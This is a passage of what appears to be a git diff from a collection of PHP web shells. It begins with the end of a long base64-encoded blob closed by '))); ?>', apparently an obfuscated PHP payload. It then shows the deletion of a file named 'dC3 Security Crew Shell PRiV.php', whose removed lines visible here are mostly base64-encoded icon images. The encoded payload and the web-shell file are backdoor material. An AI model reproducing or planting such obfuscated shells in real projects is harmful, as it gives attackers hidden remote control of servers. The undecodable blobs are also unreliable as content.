-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 -RD4+P8B"))); ?> \ No newline at end of file diff --git a/dC3 Security Crew Shell PRiV.php b/dC3 Security Crew Shell PRiV.php deleted file mode 100644 index e99383d..0000000 --- a/dC3 Security Crew Shell PRiV.php +++ /dev/null @@ -1,1273 +0,0 @@ - -"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". -"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". -"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", -"ext_wri"=> -"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". -"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". -"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", -"small_dir"=> -"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". -"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". -"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", -"dir"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAkFBMVEX////MmTT/zGezgRvLmDN/ -f3/AjSi6hyK9iiWgbghra2vCjyr/5oGufBbHlC+jcQuwfhiIiIjJljGcagS1gh24hSCebAaZZwGa -aAK0gRzvvFfcqUT4xWC8iSRKSkqreRPCwsK/jCeodhDms06lcw23hB/ToDv/1G//4HvFki3/64X/ -95Fqamr//////5n/9I54UBIWAAAAAXRSTlMAQObYZgAAAAFiS0dELc3aQT0AAAAWdEVYdFNvZnR3 -YXJlAGdpZjJwbmcgMi40LjakM4MXAAAAiUlEQVR42oXOxxKCMBgE4CWhVwEp9i4Ekt/3fzuDE0Yd -D3633dnDAr8su0i/stKi40cmTfnebckXU2GPj8k0U0mui2KIxYu7q1acA2kv1CxWWQ7RWTTbUhAi -YjaNxppqCZcJGowLlRI+O1FvbKiV8FhFnXGnJgT0n+RwvmZBXbbN3tFPHPnm4L8nl3EWVP90I8IA -AAAASUVORK5CYII=", -"o.b" => "/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAUAAA/+IMWElDQ19QUk9GSUxFAAEB -AAAMSExpbm8CEAAAbW50clJHQiBYWVogB84AAgAJAAYAMQAAYWNzcE1TRlQAAAAASUVDIHNSR0IA -AAAAAAAAAAAAAAEAAPbWAAEAAAAA0y1IUCAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAARY3BydAAAAVAAAAAzZGVzYwAAAYQAAABsd3RwdAAAAfAAAAAUYmtw -dAAAAgQAAAAUclhZWgAAAhgAAAAUZ1hZWgAAAiwAAAAUYlhZWgAAAkAAAAAUZG1uZAAAAlQAAABw -ZG1kZAAAAsQAAACIdnVlZAAAA0wAAACGdmlldwAAA9QAAAAkbHVtaQAAA/gAAAAUbWVhcwAABAwA -AAAkdGVjaAAABDAAAAAMclRSQwAABDwAAAgMZ1RSQwAABDwAAAgMYlRSQwAABDwAAAgMdGV4dAAA -AABDb3B5cmlnaHQgKGMpIDE5OTggSGV3bGV0dC1QYWNrYXJkIENvbXBhbnkAAGRlc2MAAAAAAAAA -EnNSR0IgSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAAAAAAAADzUQABAAAA -ARbMWFlaIAAAAAAAAAAAAAAAAAAAAABYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAA -t4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9kZXNjAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMu -Y2gAAAAAAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMuY2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGVzYwAAAAAAAAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0 -IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0 -IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRlc2MAAAAAAAAA -LFJlZmVyZW5jZSBWaWV3aW5nIENvbmRpdGlvbiBpbiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAACxS -ZWZlcmVuY2UgVmlld2luZyBDb25kaXRpb24gaW4gSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAAAAAAA -AAAAAAAAAAAAAAB2aWV3AAAAAAATpP4AFF8uABDPFAAD7cwABBMLAANcngAAAAFYWVogAAAAAABM -CVYAUAAAAFcf521lYXMAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAKPAAAAAnNpZyAAAAAAQ1JU -IGN1cnYAAAAAAAAEAAAAAAUACgAPABQAGQAeACMAKAAtADIANwA7AEAARQBKAE8AVABZAF4AYwBo -AG0AcgB3AHwAgQCGAIsAkACVAJoAnwCkAKkArgCyALcAvADBAMYAywDQANUA2wDgAOUA6wDwAPYA -+wEBAQcBDQETARkBHwElASsBMgE4AT4BRQFMAVIBWQFgAWcBbgF1AXwBgwGLAZIBmgGhAakBsQG5 -AcEByQHRAdkB4QHpAfIB+gIDAgwCFAIdAiYCLwI4AkECSwJUAl0CZwJxAnoChAKOApgCogKsArYC -wQLLAtUC4ALrAvUDAAMLAxYDIQMtAzgDQwNPA1oDZgNyA34DigOWA6IDrgO6A8cD0wPgA+wD+QQG -BBMEIAQtBDsESARVBGMEcQR+BIwEmgSoBLYExATTBOEE8AT+BQ0FHAUrBToFSQVYBWcFdwWGBZYF -pgW1BcUF1QXlBfYGBgYWBicGNwZIBlkGagZ7BowGnQavBsAG0QbjBvUHBwcZBysHPQdPB2EHdAeG -B5kHrAe/B9IH5Qf4CAsIHwgyCEYIWghuCIIIlgiqCL4I0gjnCPsJEAklCToJTwlkCXkJjwmkCboJ -zwnlCfsKEQonCj0KVApqCoEKmAquCsUK3ArzCwsLIgs5C1ELaQuAC5gLsAvIC+EL+QwSDCoMQwxc -DHUMjgynDMAM2QzzDQ0NJg1ADVoNdA2ODakNww3eDfgOEw4uDkkOZA5/DpsOtg7SDu4PCQ8lD0EP -Xg96D5YPsw/PD+wQCRAmEEMQYRB+EJsQuRDXEPURExExEU8RbRGMEaoRyRHoEgcSJhJFEmQShBKj -EsMS4xMDEyMTQxNjE4MTpBPFE+UUBhQnFEkUahSLFK0UzhTwFRIVNBVWFXgVmxW9FeAWAxYmFkkW -bBaPFrIW1hb6Fx0XQRdlF4kXrhfSF/cYGxhAGGUYihivGNUY+hkgGUUZaxmRGbcZ3RoEGioaURp3 -Gp4axRrsGxQbOxtjG4obshvaHAIcKhxSHHscoxzMHPUdHh1HHXAdmR3DHeweFh5AHmoelB6+Hukf -Ex8+H2kflB+/H+ogFSBBIGwgmCDEIPAhHCFIIXUhoSHOIfsiJyJVIoIiryLdIwojOCNmI5QjwiPw -JB8kTSR8JKsk2iUJJTglaCWXJccl9yYnJlcmhya3JugnGCdJJ3onqyfcKA0oPyhxKKIo1CkGKTgp -aymdKdAqAio1KmgqmyrPKwIrNitpK50r0SwFLDksbiyiLNctDC1BLXYtqy3hLhYuTC6CLrcu7i8k -L1ovkS/HL/4wNTBsMKQw2zESMUoxgjG6MfIyKjJjMpsy1DMNM0YzfzO4M/E0KzRlNJ402DUTNU01 -hzXCNf02NzZyNq426TckN2A3nDfXOBQ4UDiMOMg5BTlCOX85vDn5OjY6dDqyOu87LTtrO6o76Dwn -PGU8pDzjPSI9YT2hPeA+ID5gPqA+4D8hP2E/oj/iQCNAZECmQOdBKUFqQaxB7kIwQnJCtUL3QzpD -fUPARANER0SKRM5FEkVVRZpF3kYiRmdGq0bwRzVHe0fASAVIS0iRSNdJHUljSalJ8Eo3Sn1KxEsM -S1NLmkviTCpMcky6TQJNSk2TTdxOJU5uTrdPAE9JT5NP3VAnUHFQu1EGUVBRm1HmUjFSfFLHUxNT -X1OqU/ZUQlSPVNtVKFV1VcJWD1ZcVqlW91dEV5JX4FgvWH1Yy1kaWWlZuFoHWlZaplr1W0VblVvl -XDVchlzWXSddeF3JXhpebF69Xw9fYV+zYAVgV2CqYPxhT2GiYfViSWKcYvBjQ2OXY+tkQGSUZOll -PWWSZedmPWaSZuhnPWeTZ+loP2iWaOxpQ2maafFqSGqfavdrT2una/9sV2yvbQhtYG25bhJua27E -bx5veG/RcCtwhnDgcTpxlXHwcktypnMBc11zuHQUdHB0zHUodYV14XY+dpt2+HdWd7N4EXhueMx5 -KnmJeed6RnqlewR7Y3vCfCF8gXzhfUF9oX4BfmJ+wn8jf4R/5YBHgKiBCoFrgc2CMIKSgvSDV4O6 -hB2EgITjhUeFq4YOhnKG14c7h5+IBIhpiM6JM4mZif6KZIrKizCLlov8jGOMyo0xjZiN/45mjs6P -No+ekAaQbpDWkT+RqJIRknqS45NNk7aUIJSKlPSVX5XJljSWn5cKl3WX4JhMmLiZJJmQmfyaaJrV -m0Kbr5wcnImc951kndKeQJ6unx2fi5/6oGmg2KFHobaiJqKWowajdqPmpFakx6U4pammGqaLpv2n -bqfgqFKoxKk3qamqHKqPqwKrdavprFys0K1ErbiuLa6hrxavi7AAsHWw6rFgsdayS7LCszizrrQl -tJy1E7WKtgG2ebbwt2i34LhZuNG5SrnCuju6tbsuu6e8IbybvRW9j74KvoS+/796v/XAcMDswWfB -48JfwtvDWMPUxFHEzsVLxcjGRsbDx0HHv8g9yLzJOsm5yjjKt8s2y7bMNcy1zTXNtc42zrbPN8+4 -0DnQutE80b7SP9LB00TTxtRJ1MvVTtXR1lXW2Ndc1+DYZNjo2WzZ8dp22vvbgNwF3IrdEN2W3hze -ot8p36/gNuC94UThzOJT4tvjY+Pr5HPk/OWE5g3mlucf56noMui86Ubp0Opb6uXrcOv77IbtEe2c -7ijutO9A78zwWPDl8XLx//KM8xnzp/Q09ML1UPXe9m32+/eK+Bn4qPk4+cf6V/rn+3f8B/yY/Sn9 -uv5L/tz/bf///+4AJkFkb2JlAGTAAAAAAQMAFQQDBgoNAAARtgAAF0YAABuaAAAgJv/bAIQAAgIC -AgICAgICAgMCAgIDBAMCAgMEBQQEBAQEBQYFBQUFBQUGBgcHCAcHBgkJCgoJCQwMDAwMDAwMDAwM -DAwMDAEDAwMFBAUJBgYJDQsJCw0PDg4ODg8PDAwMDAwPDwwMDAwMDA8MDAwMDAwMDAwMDAwMDAwM -DAwMDAwMDAwMDAwM/8IAEQgAHgK8AwERAAIRAQMRAf/EALsAAQACAwEBAAAAAAAAAAAAAAADBQIE -BgEHAQEAAAAAAAAAAAAAAAAAAAAAEAACAgMBAQADAQEBAAAAAAAAEwQFAiIDARQREhWAIyQRAAAE -BQIDBwMBBwUAAAAAAAABAgMx0ZMENBEhEhMzQVFhkZLS4nGBIuEQQKGxYmMUMkKiIyQSAQAAAAAA -AAAAAAAAAAAAAIATAAIBAgYDAAIDAQEAAAAAAAERACFRMUFhodHxEHGR8IFQgMGxMP/aAAwDAQAC -EQMRAAAB+DlmAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADmDnDbAAAAAAAAANg+hkJr -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 